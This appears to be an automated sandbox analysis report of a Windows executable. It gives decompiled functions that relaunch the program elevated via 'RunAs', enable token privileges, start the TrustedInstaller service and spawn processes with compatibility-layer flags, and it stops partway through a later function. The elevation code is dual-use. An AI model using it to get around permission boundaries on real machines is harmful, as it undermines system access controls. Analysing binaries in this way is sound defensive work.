QueryFullProcessImageNameW, xrefs: 00409706

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleProcess$CloseOpenProcess32memset$AddressCreateFirstFullImageModuleNameNextProcQuerySnapshotToolhelp32free
String ID: QueryFullProcessImageNameW$kernel32.dll
API String ID: 239888749-1740548384
Opcode ID: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction ID: d99fb1acad5946e2155d0e2cb4f7ec9e68cfc0f9061ce230986eeb1e4b65db1d
Opcode Fuzzy Hash: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction Fuzzy Hash: 10413DB2900118EEDB10EFA0DCC5AEEB7B9EB44348F1041BAE609B3191D7359E85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C26, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 72
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401C26(long _a4) {
				struct _SHELLEXECUTEINFOW _v68;
				void _v582;
				char _v584;
				void _v1110;
				char _v1112;
				long _t23;
				int _t36;
				int _t41;
				void* _t43;
				long _t44;

				_t44 = 0;
				_t23 = GetCurrentProcessId();
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				_v1112 = 0;
				memset( &_v1110, 0, 0x208);
				E00404AD9( &_v1112);
				_push(_t23);
				_push(0);
				_push(_a4);
				_push(L"/SpecialRun %I64x %d");
				_push(0xff);
				_push( &_v584);
				L0040B1EC();
				memset( &(_v68.fMask), 0, 0x38);
				_v68.lpFile =  &_v1112;
				_v68.lpParameters =  &_v584;
				_v68.cbSize = 0x3c;
				_v68.lpVerb = L"RunAs";
				_v68.fMask = 0x40;
				_v68.nShow = 5;
				_t36 = ShellExecuteExW( &_v68); // executed
				_t43 = _v68.hProcess;
				if(_t36 == 0) {
					_t44 = GetLastError();
				} else {
					WaitForSingleObject(_t43, 0x5dc);
					_a4 = 0;
					_t41 = GetExitCodeProcess(_t43,  &_a4); // executed
					if(_t41 != 0 && _a4 != 0x103) {
						_t44 = _a4;
					}
				}
				return _t44;
			}

0x00401c31
0x00401c33
0x00401c48
0x00401c4f
0x00401c61
0x00401c68
0x00401c74
0x00401c79
0x00401c7a
0x00401c7b
0x00401c84
0x00401c89
0x00401c8e
0x00401c8f
0x00401c9b
0x00401ca6
0x00401caf
0x00401cb9
0x00401cc0
0x00401cc7
0x00401cce
0x00401cd5
0x00401cdd
0x00401ce0
0x00401d14
0x00401ce2
0x00401ce8
0x00401cf3
0x00401cf6
0x00401cfe
0x00401d09
0x00401d09
0x00401cfe
0x00401d1b

APIs

GetCurrentProcessId.KERNEL32(004101D8,?), ref: 00401C33
memset.MSVCRT ref: 00401C4F
memset.MSVCRT ref: 00401C68

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00401C8F
memset.MSVCRT ref: 00401C9B
ShellExecuteExW.SHELL32(?), ref: 00401CD5
WaitForSingleObject.KERNEL32(?,000005DC), ref: 00401CE8
GetExitCodeProcess.KERNELBASE ref: 00401CF6
GetLastError.KERNEL32 ref: 00401D0E

Strings

/SpecialRun %I64x %d, xrefs: 00401C84
RunAs, xrefs: 00401CC0
@, xrefs: 00401CC7
<, xrefs: 00401CB9

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$CodeCurrentErrorExecuteExitFileLastModuleNameObjectShellSingleWait_snwprintf
String ID: /SpecialRun %I64x %d$<$@$RunAs
API String ID: 903100921-3385179869
Opcode ID: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction ID: 2715f163b7cd274c39606e2610d12bc00880993b2534c3bb77a56ee1366ffd0d
Opcode Fuzzy Hash: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction Fuzzy Hash: FD216D71900118FBDB20DB91CD48ADF7BBCEF44744F004176F608B6291D778AA84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408FC9, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408FC9(struct HINSTANCE__** __eax, void* __eflags, WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* __esi;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				long _t19;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t24;
				struct HINSTANCE__** _t35;
				void* _t37;

				_t37 = __eflags;
				_t35 = __eax;
				if(E00408F92(_t35, _t37, GetCurrentProcess(), 0x28,  &_v8) == 0) {
					return GetLastError();
				}
				_t16 = E00408F72(_t35);
				__eflags = _t16;
				if(_t16 != 0) {
					_t24 = GetProcAddress( *_t35, "LookupPrivilegeValueW");
					__eflags = _t24;
					if(_t24 != 0) {
						LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)); // executed
					}
				}
				_v24.PrivilegeCount = 1;
				_v12 = 2;
				_a4 = _v8;
				_t18 = E00408F72(_t35);
				__eflags = _t18;
				if(_t18 != 0) {
					_t22 = GetProcAddress( *_t35, "AdjustTokenPrivileges");
					__eflags = _t22;
					if(_t22 != 0) {
						AdjustTokenPrivileges(_a4, 0,  &_v24, 0, 0, 0); // executed
					}
				}
				_t19 = GetLastError();
				FindCloseChangeNotification(_v8); // executed
				return _t19;
			}

0x00408fc9
0x00408fd0
0x00408fe8
0x00000000
0x00408fea
0x00408ff4
0x00409001
0x00409003
0x0040900c
0x0040900e
0x00409010
0x0040901a
0x0040901a
0x00409010
0x0040901f
0x00409026
0x0040902d
0x00409030
0x00409035
0x00409037
0x00409040
0x00409042
0x00409044
0x00409051
0x00409051
0x00409044
0x00409053
0x0040905e
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

GetLastError.KERNEL32(00000000), ref: 00408FEA
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueW), ref: 0040900C
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 0040901A
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 00409040
AdjustTokenPrivileges.KERNELBASE(00000002,00000000,00000001,00000000,00000000,00000000), ref: 00409051
GetLastError.KERNEL32(00000000,00000000,00000000), ref: 00409053
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0040905E

Strings

AdjustTokenPrivileges, xrefs: 00409039
LookupPrivilegeValueW, xrefs: 00409005

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$AdjustChangeCloseCurrentFindLookupNotificationPrivilegePrivilegesProcessTokenValue
String ID: AdjustTokenPrivileges$LookupPrivilegeValueW
API String ID: 616250965-1253513912
Opcode ID: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction ID: 03a5dc6c67e2a3af6dad2eaf9b7d3d3c38ee31464385454108c093b6d6cde588
Opcode Fuzzy Hash: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction Fuzzy Hash: 34114F72500105FFEB10AFF4DD859AF76ADAB44384B10413AF541F2192DA789E449B68

Uniqueness

Uniqueness Score: -1.00%

Function 00401306, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401306(void* _a4) {
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				void* _t5;
				int _t12;
				void* _t14;

				_t12 = 0; // executed
				_t5 = OpenServiceW(_a4, L"TrustedInstaller", 0x34); // executed
				_t14 = _t5;
				if(_t14 != 0) {
					if(QueryServiceStatus(_t14,  &_v32) != 0 && _v28 != 4) {
						_t12 = StartServiceW(_t14, 0, 0);
					}
					CloseServiceHandle(_t14);
				}
				CloseServiceHandle(_a4);
				return _t12;
			}

0x00401319
0x0040131b
0x00401327
0x0040132b
0x0040133a
0x0040134b
0x0040134b
0x0040134e
0x0040134e
0x00401353
0x0040135b

APIs

OpenServiceW.ADVAPI32(00402183,TrustedInstaller,00000034,?,?,00000000,?,?,?,?,?,00402183,00000000), ref: 0040131B
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,00402183,00000000), ref: 00401332
StartServiceW.ADVAPI32(00000000,00000000,00000000), ref: 00401345
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,00402183,00000000), ref: 0040134E
CloseServiceHandle.ADVAPI32(00402183,?,?,?,?,?,00402183,00000000), ref: 00401353

Strings

TrustedInstaller, xrefs: 00401311

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseHandle$OpenQueryStartStatus
String ID: TrustedInstaller
API String ID: 862991418-565535830
Opcode ID: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction ID: 300c39592a487ff017dde1f9aaf4b69bffecac74e3568357a1b40912e0f2caec
Opcode Fuzzy Hash: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction Fuzzy Hash: F9F08275601218FBE7222BE59CC8DAF7A6CDF88794B040132FD01B12A0D674DD05C9F9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A33B, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A33B(unsigned int _a4, WCHAR* _a8, WCHAR* _a12) {
				struct HRSRC__* _t12;
				void* _t16;
				void* _t17;
				signed int _t18;
				signed int _t26;
				signed int _t29;
				signed int _t33;
				struct HRSRC__* _t35;
				signed int _t36;

				_t12 = FindResourceW(_a4, _a12, _a8); // executed
				_t35 = _t12;
				if(_t35 != 0) {
					_t33 = SizeofResource(_a4, _t35);
					if(_t33 > 0) {
						_t16 = LoadResource(_a4, _t35);
						if(_t16 != 0) {
							_t17 = LockResource(_t16);
							if(_t17 != 0) {
								_a4 = _t33;
								_t29 = _t33 * _t33;
								_t36 = 0;
								_t7 =  &_a4;
								 *_t7 = _a4 >> 2;
								if( *_t7 != 0) {
									do {
										_t26 =  *(_t17 + _t36 * 4) * _t36 * _t33 * 0x00000011 ^  *(_t17 + _t36 * 4) + _t29;
										_t36 = _t36 + 1;
										_t29 = _t26;
									} while (_t36 < _a4);
								}
								_t18 =  *0x40fa70; // 0xfcb617dc
								 *0x40fa70 = _t18 + _t29 ^ _t33;
							}
						}
					}
				}
				return 1;
			}

0x0040a348
0x0040a34e
0x0040a352
0x0040a35f
0x0040a363
0x0040a369
0x0040a371
0x0040a374
0x0040a37c
0x0040a380
0x0040a383
0x0040a386
0x0040a388
0x0040a388
0x0040a38c
0x0040a38f
0x0040a39f
0x0040a3a1
0x0040a3a5
0x0040a3a5
0x0040a3a9
0x0040a3aa
0x0040a3b3
0x0040a3b3
0x0040a37c
0x0040a371
0x0040a3b8
0x0040a3be

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040A348
SizeofResource.KERNEL32(?,00000000), ref: 0040A359
LoadResource.KERNEL32(?,00000000), ref: 0040A369
LockResource.KERNEL32(00000000), ref: 0040A374

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction ID: cffa73b79ff672a66ed03b266e9253c2cf49bd0e4e2f0a3a12bdb4b298abf715
Opcode Fuzzy Hash: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction Fuzzy Hash: 1101C032700315ABCB194FA5DD8995BBFAEFB852913088036ED09EA2A1D730C811CA88

Uniqueness

Uniqueness Score: -1.00%

Function 004022D5, Relevance: 61.7, APIs: 25, Strings: 10, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004022D5(void* __ecx, void* __edx, void* __eflags, long _a4, long _a8) {
				WCHAR* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				char* _v24;
				int _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				char _v44;
				void* _v56;
				int _v60;
				char _v92;
				void _v122;
				int _v124;
				short _v148;
				signed int _v152;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				void _v192;
				char _v196;
				char _v228;
				void _v258;
				int _v260;
				void _v786;
				short _v788;
				void _v1314;
				short _v1316;
				void _v1842;
				short _v1844;
				void _v18234;
				short _v18236;
				char _v83772;
				void* __ebx;
				void* __edi;
				void* __esi;
				short* _t174;
				short _t175;
				signed int _t176;
				short _t177;
				short _t178;
				int _t184;
				signed int _t187;
				intOrPtr _t207;
				intOrPtr _t219;
				int* _t252;
				int* _t253;
				int* _t266;
				int* _t267;
				wchar_t* _t270;
				int _t286;
				void* _t292;
				void* _t304;
				WCHAR* _t308;
				WCHAR* _t310;
				intOrPtr* _t311;
				int _t312;
				WCHAR* _t315;
				void* _t325;
				void* _t328;

				_t304 = __edx;
				E0040B550(0x1473c, __ecx);
				_t286 = 0;
				 *_a4 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				memset( &_v192, 0, 0x40);
				_v60 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 = 0;
				_v40 = 0;
				_v28 = 0;
				_v36 = 0;
				_v32 = 0x100;
				_v44 = 0;
				_v1316 = 0;
				memset( &_v1314, 0, 0x208);
				_v788 = 0;
				memset( &_v786, 0, 0x208);
				_t315 = _a8;
				_t328 = _t325 + 0x24;
				_v83772 = 0;
				_v196 = 0x44;
				E00404923(0x104,  &_v788, _t315);
				if(wcschr(_t315, 0x25) != 0) {
					ExpandEnvironmentStringsW(_t315,  &_v788, 0x104);
				}
				if(_t315[0x2668] != _t286 && wcschr( &_v788, 0x5c) == 0) {
					_v8 = _t286;
					_v1844 = _t286;
					memset( &_v1842, _t286, 0x208);
					_t328 = _t328 + 0xc;
					SearchPathW(_t286,  &_v788, _t286, 0x104,  &_v1844,  &_v8);
					if(_v1844 != _t286) {
						E00404923(0x104,  &_v788,  &_v1844);
					}
				}
				_t308 =  &(_t315[0x2106]);
				if( *_t308 == _t286) {
					E00404B5C( &_v1316,  &_v788);
					__eflags = _v1316 - _t286;
					_t315 = _a8;
					_pop(_t292);
					if(_v1316 == _t286) {
						goto L11;
					}
					goto L10;
				} else {
					_v20 = _t308;
					_t270 = wcschr(_t308, 0x25);
					_pop(_t292);
					if(_t270 == 0) {
						L11:
						_t174 =  &(_t315[0x220e]);
						if( *_t174 != 1) {
							_v152 = _v152 | 0x00000001;
							_v148 =  *_t174;
						}
						_t309 = ",";
						if(_t315[0x2210] != _t286 && _t315[0x2212] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2212]), _t292,  &_v260, 0x1f,  &_v8, ",");
							E004052F3( &(_t315[0x2212]), _t292,  &_v124, 0x1f,  &_v8, ",");
							_v152 = _v152 | 0x00000004;
							_t266 =  &_v260;
							_push(_t266);
							L0040B1F8();
							_v180 = _t266;
							_t328 = _t328 + 0x3c;
							_t267 =  &_v124;
							L0040B1F8();
							_t292 = _t267;
							_v176 = _t267;
						}
						if(_t315[0x2232] != _t286 && _t315[0x2234] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2234]), _t292,  &_v260, 0x1f,  &_v8, _t309);
							E004052F3( &(_t315[0x2234]), _t292,  &_v124, 0x1f,  &_v8, _t309);
							_v152 = _v152 | 0x00000002;
							_t252 =  &_v260;
							_push(_t252);
							L0040B1F8();
							_v172 = _t252;
							_t328 = _t328 + 0x3c;
							_t253 =  &_v124;
							_push(_t253);
							L0040B1F8();
							_v168 = _t253;
						}
						_t310 =  &(_t315[0x105]);
						if( *_t310 != _t286) {
							if(_t315[0x266a] == _t286 || wcschr(_t310, 0x25) == 0) {
								_push(_t310);
							} else {
								_v18236 = _t286;
								memset( &_v18234, _t286, 0x4000);
								_t328 = _t328 + 0xc;
								ExpandEnvironmentStringsW(_t310,  &_v18236, 0x2000);
								_push( &_v18236);
							}
							_push( &_v788);
							_push(L"\"%s\" %s");
							_push(0x7fff);
							_push( &_v83772);
							L0040B1EC();
							_v24 =  &_v83772;
						}
						_t175 = _t315[0x220c];
						if(_t175 != 0x20) {
							_v12 = _t175;
						}
						_t311 = _a4;
						if(_t315[0x2254] == 2) {
							E00401D1E(_t311, L"RunAsInvoker");
						}
						_t176 = _t315[0x265c];
						if(_t176 != _t286 && _t176 - 1 <= 0xc) {
							E00401D1E(_t311,  *((intOrPtr*)(0x40f2a0 + _t176 * 4)));
						}
						_t177 = _t315[0x265e];
						if(_t177 != 1) {
							__eflags = _t177 - 2;
							if(_t177 != 2) {
								goto L37;
							}
							_push(L"16BITCOLOR");
							goto L36;
						} else {
							_push(L"256COLOR");
							L36:
							E00401D1E(_t311);
							L37:
							if(_t315[0x2660] == _t286) {
								__eflags = _t315[0x2662] - _t286;
								if(_t315[0x2662] == _t286) {
									__eflags = _t315[0x2664] - _t286;
									if(_t315[0x2664] == _t286) {
										__eflags = _t315[0x2666] - _t286;
										if(_t315[0x2666] == _t286) {
											L46:
											_t178 = _t315[0x2a6e];
											_t358 = _t178 - 3;
											if(_t178 != 3) {
												__eflags = _t178 - 2;
												if(_t178 != 2) {
													__eflags =  *_t311 - _t286;
													if( *_t311 == _t286) {
														_push(_t286);
													} else {
														_push(_t311);
													}
													SetEnvironmentVariableW(L"__COMPAT_LAYER", ??);
													L63:
													_t293 = _t311;
													_t184 = E00401FE6(_t315, _t311, _t304,  &_v788, _v24, _v12, _v16, _v20,  &_v196,  &_v60); // executed
													_t312 = _t184;
													if(_t312 == _t286 && _v60 != _t286) {
														_t363 = _t315[0x266c] - _t286;
														if(_t315[0x266c] != _t286) {
															_t187 = E00401A3F(_t293, _t363,  &(_t315[0x266e]));
															_a4 = _a4 | 0xffffffff;
															_a8 = _t286;
															GetProcessAffinityMask(_v60,  &_a8,  &_a4);
															_t184 = SetProcessAffinityMask(_v60, _a4 & _t187);
														}
													}
													E004055D1(_t184,  &_v44);
													return _t312;
												}
												E00405497( &_v92);
												E00405497( &_v228);
												E0040149F(__eflags,  &_v92);
												E0040135C(E004055EC( &(_t315[0x2a70])), __eflags,  &_v228);
												E00401551( &_v228, _t304, __eflags,  &_v92);
												_t204 = _a4;
												__eflags =  *_a4;
												if(__eflags != 0) {
													E004014E9( &_v92, _t304, __eflags,  &_v92, _t204);
												}
												E00401421( &_v44, _t304,  &_v92, __eflags);
												_t207 = _v28;
												__eflags = _t207;
												_v16 = 0x40c4e8;
												if(_t207 != 0) {
													_v16 = _t207;
												}
												_v12 = _v12 | 0x00000400;
												E004054B9( &_v228);
												E004054B9( &_v92);
												_t286 = 0;
												__eflags = 0;
												L58:
												_t315 = _a8;
												_t311 = _a4;
												goto L63;
											}
											E00405497( &_v92);
											E0040135C(E004055EC( &(_t315[0x2a70])), _t358,  &_v92);
											_t359 =  *_t311 - _t286;
											if( *_t311 != _t286) {
												E004014E9( &_v92, _t304, _t359,  &_v92, _t311);
											}
											E00401421( &_v44, _t304,  &_v92, _t359);
											_t219 = _v28;
											_v16 = 0x40c4e8;
											if(_t219 != _t286) {
												_v16 = _t219;
											}
											_v12 = _v12 | 0x00000400;
											E004054B9( &_v92);
											goto L58;
										}
										_push(L"HIGHDPIAWARE");
										L45:
										E00401D1E(_t311);
										goto L46;
									}
									_push(L"DISABLEDWM");
									goto L45;
								}
								_push(L"DISABLETHEMES");
								goto L45;
							}
							_push(L"640X480");
							goto L45;
						}
					}
					ExpandEnvironmentStringsW(_t308,  &_v1316, 0x104);
					L10:
					_v20 =  &_v1316;
					goto L11;
				}
			}

0x004022d5
0x004022dd
0x004022e7
0x004022ec
0x004022f7
0x004022fa
0x004022fd
0x00402300
0x00402307
0x0040230d
0x0040230e
0x00402318
0x00402321
0x00402324
0x00402327
0x0040232a
0x0040232d
0x00402334
0x00402337
0x0040233e
0x0040234f
0x00402356
0x0040235b
0x0040235e
0x0040236d
0x00402374
0x0040237e
0x00402395
0x004023a0
0x004023a0
0x004023ac
0x004023cf
0x004023d2
0x004023d9
0x004023de
0x004023f6
0x00402403
0x00402414
0x00402419
0x00402403
0x0040241a
0x00402423
0x00402458
0x0040245d
0x00402464
0x00402467
0x00402468
0x00000000
0x00000000
0x00000000
0x00402425
0x00402428
0x0040242b
0x00402433
0x00402434
0x00402473
0x00402473
0x0040247c
0x00402481
0x00402488
0x00402488
0x00402495
0x0040249a
0x004024b7
0x004024be
0x004024cd
0x004024d1
0x004024ed
0x004024f0
0x00402506
0x0040250b
0x00402512
0x00402518
0x00402519
0x0040251e
0x00402524
0x00402527
0x0040252b
0x00402530
0x00402531
0x00402531
0x0040253d
0x0040255a
0x00402561
0x00402570
0x00402574
0x00402590
0x00402593
0x004025a9
0x004025ae
0x004025b5
0x004025bb
0x004025bc
0x004025c1
0x004025c7
0x004025ca
0x004025cd
0x004025ce
0x004025d4
0x004025d4
0x004025da
0x004025e3
0x004025eb
0x00402633
0x004025fb
0x00402608
0x0040260f
0x00402614
0x00402624
0x00402630
0x00402630
0x0040263a
0x0040263b
0x00402646
0x0040264b
0x0040264c
0x0040265a
0x0040265a
0x0040265d
0x00402666
0x00402668
0x00402668
0x00402672
0x00402675
0x0040267e
0x0040267e
0x00402683
0x0040268b
0x0040269e
0x0040269e
0x004026a3
0x004026ac
0x004026b5
0x004026b8
0x00000000
0x00000000
0x004026ba
0x00000000
0x004026ae
0x004026ae
0x004026bf
0x004026c1
0x004026c6
0x004026cc
0x004026d5
0x004026db
0x004026e4
0x004026ea
0x004026f3
0x004026f9
0x00402707
0x00402707
0x0040270d
0x00402710
0x0040276d
0x00402770
0x0040280b
0x0040280e
0x00402813
0x00402810
0x00402810
0x00402810
0x00402819
0x0040281f
0x00402836
0x00402841
0x00402846
0x0040284a
0x00402851
0x00402857
0x00402860
0x00402865
0x00402876
0x00402879
0x00402888
0x00402888
0x00402857
0x00402891
0x0040289c
0x0040289c
0x00402779
0x00402784
0x0040278d
0x004027a4
0x004027b3
0x004027b8
0x004027bb
0x004027bf
0x004027c6
0x004027c6
0x004027d1
0x004027d6
0x004027d9
0x004027db
0x004027e2
0x004027e4
0x004027e4
0x004027e7
0x004027f4
0x004027fc
0x00402801
0x00402801
0x00402803
0x00402803
0x00402806
0x00000000
0x00402806
0x00402715
0x00402729
0x0040272e
0x00402731
0x00402738
0x00402738
0x00402743
0x00402748
0x0040274d
0x00402754
0x00402756
0x00402756
0x00402759
0x00402763
0x00000000
0x00402763
0x004026fb
0x00402700
0x00402702
0x00000000
0x00402702
0x004026ec
0x00000000
0x004026ec
0x004026dd
0x00000000
0x004026dd
0x004026ce
0x00000000
0x004026ce
0x004026ac
0x00402443
0x0040246a
0x00402470
0x00000000
0x00402470

APIs

memset.MSVCRT ref: 00402300
memset.MSVCRT ref: 0040233E
memset.MSVCRT ref: 00402356

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

wcschr.MSVCRT ref: 00402387
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004023A0

Part of subcall function 00404B5C: wcscpy.MSVCRT ref: 00404B61
Part of subcall function 00404B5C: wcsrchr.MSVCRT ref: 00404B69

wcschr.MSVCRT ref: 004023B7
memset.MSVCRT ref: 004023D9
SearchPathW.KERNEL32(00000000,?,00000000,00000104,?,?,?,?,?,?,?,?,?,?,00000208), ref: 004023F6
wcschr.MSVCRT ref: 0040242B
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00402443
memset.MSVCRT ref: 004024BE
memset.MSVCRT ref: 004024D1
_wtoi.MSVCRT ref: 00402519
_wtoi.MSVCRT ref: 0040252B
memset.MSVCRT ref: 00402561
memset.MSVCRT ref: 00402574
_wtoi.MSVCRT ref: 004025BC
_wtoi.MSVCRT ref: 004025CE
wcschr.MSVCRT ref: 004025F0
memset.MSVCRT ref: 0040260F
ExpandEnvironmentStringsW.KERNEL32(?,?,00002000,?,?,?,?,?,?,?,?,00000208), ref: 00402624
_snwprintf.MSVCRT ref: 0040264C
SetEnvironmentVariableW.KERNEL32(__COMPAT_LAYER,00000000), ref: 00402819
GetProcessAffinityMask.KERNEL32(?,?,000000FF), ref: 00402879
SetProcessAffinityMask.KERNEL32(?,000000FF), ref: 00402888

Strings

16BITCOLOR, xrefs: 004026BA
"%s" %s, xrefs: 0040263B
DISABLETHEMES, xrefs: 004026DD
__COMPAT_LAYER, xrefs: 00402814
DISABLEDWM, xrefs: 004026EC
HIGHDPIAWARE, xrefs: 004026FB
D, xrefs: 00402374
640X480, xrefs: 004026CE
RunAsInvoker, xrefs: 00402677
256COLOR, xrefs: 004026AE

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Environment_wtoiwcschr$ExpandStrings$AffinityMaskProcess$PathSearchVariable_snwprintfmemcpywcscpywcslenwcsrchr
String ID: "%s" %s$16BITCOLOR$256COLOR$640X480$D$DISABLEDWM$DISABLETHEMES$HIGHDPIAWARE$RunAsInvoker$__COMPAT_LAYER
API String ID: 2452314994-435178042
Opcode ID: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction ID: b54a7db1e05dda42e7bfc3830e2036fe484084dd7c1f23c6c807eede0ded9d8d
Opcode Fuzzy Hash: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction Fuzzy Hash: 03F14F72900218AADB20EFA5CD85ADEB7B8EF04304F1045BBE619B71D1D7789A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408533, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00408533(void* __ecx, void* __edx, void* __eflags, char _a8, intOrPtr _a12, char _a32, WCHAR* _a40, WCHAR* _a44, intOrPtr _a48, WCHAR* _a52, WCHAR* _a56, char _a60, int _a64, char* _a68, int _a72, char _a76, int _a80, char* _a84, int _a88, long _a92, void _a94, long _a620, void _a622, char _a1132, char _a1148, WCHAR* _a3196, WCHAR* _a3200, WCHAR* _a3204, WCHAR* _a3208, void* _a3212, char _a3216, int _a5264, int _a5268, int _a5272, int _a5276, int _a5280, char _a5288, char _a5292, int _a7340, int _a7344, int _a7348, int _a7352, int _a7356) {
				char _v0;
				WCHAR* _v4;
				void* __edi;
				void* __esi;
				void* _t76;
				void* _t82;
				wchar_t* _t85;
				void* _t86;
				void* _t87;
				intOrPtr _t92;
				wchar_t* _t93;
				intOrPtr _t95;
				int _t106;
				char* _t110;
				intOrPtr _t115;
				wchar_t* _t117;
				intOrPtr _t124;
				wchar_t* _t125;
				intOrPtr _t131;
				wchar_t* _t132;
				int _t156;
				void* _t159;
				intOrPtr _t162;
				void* _t177;
				void* _t178;
				void* _t179;
				intOrPtr _t181;
				int _t187;
				intOrPtr _t188;
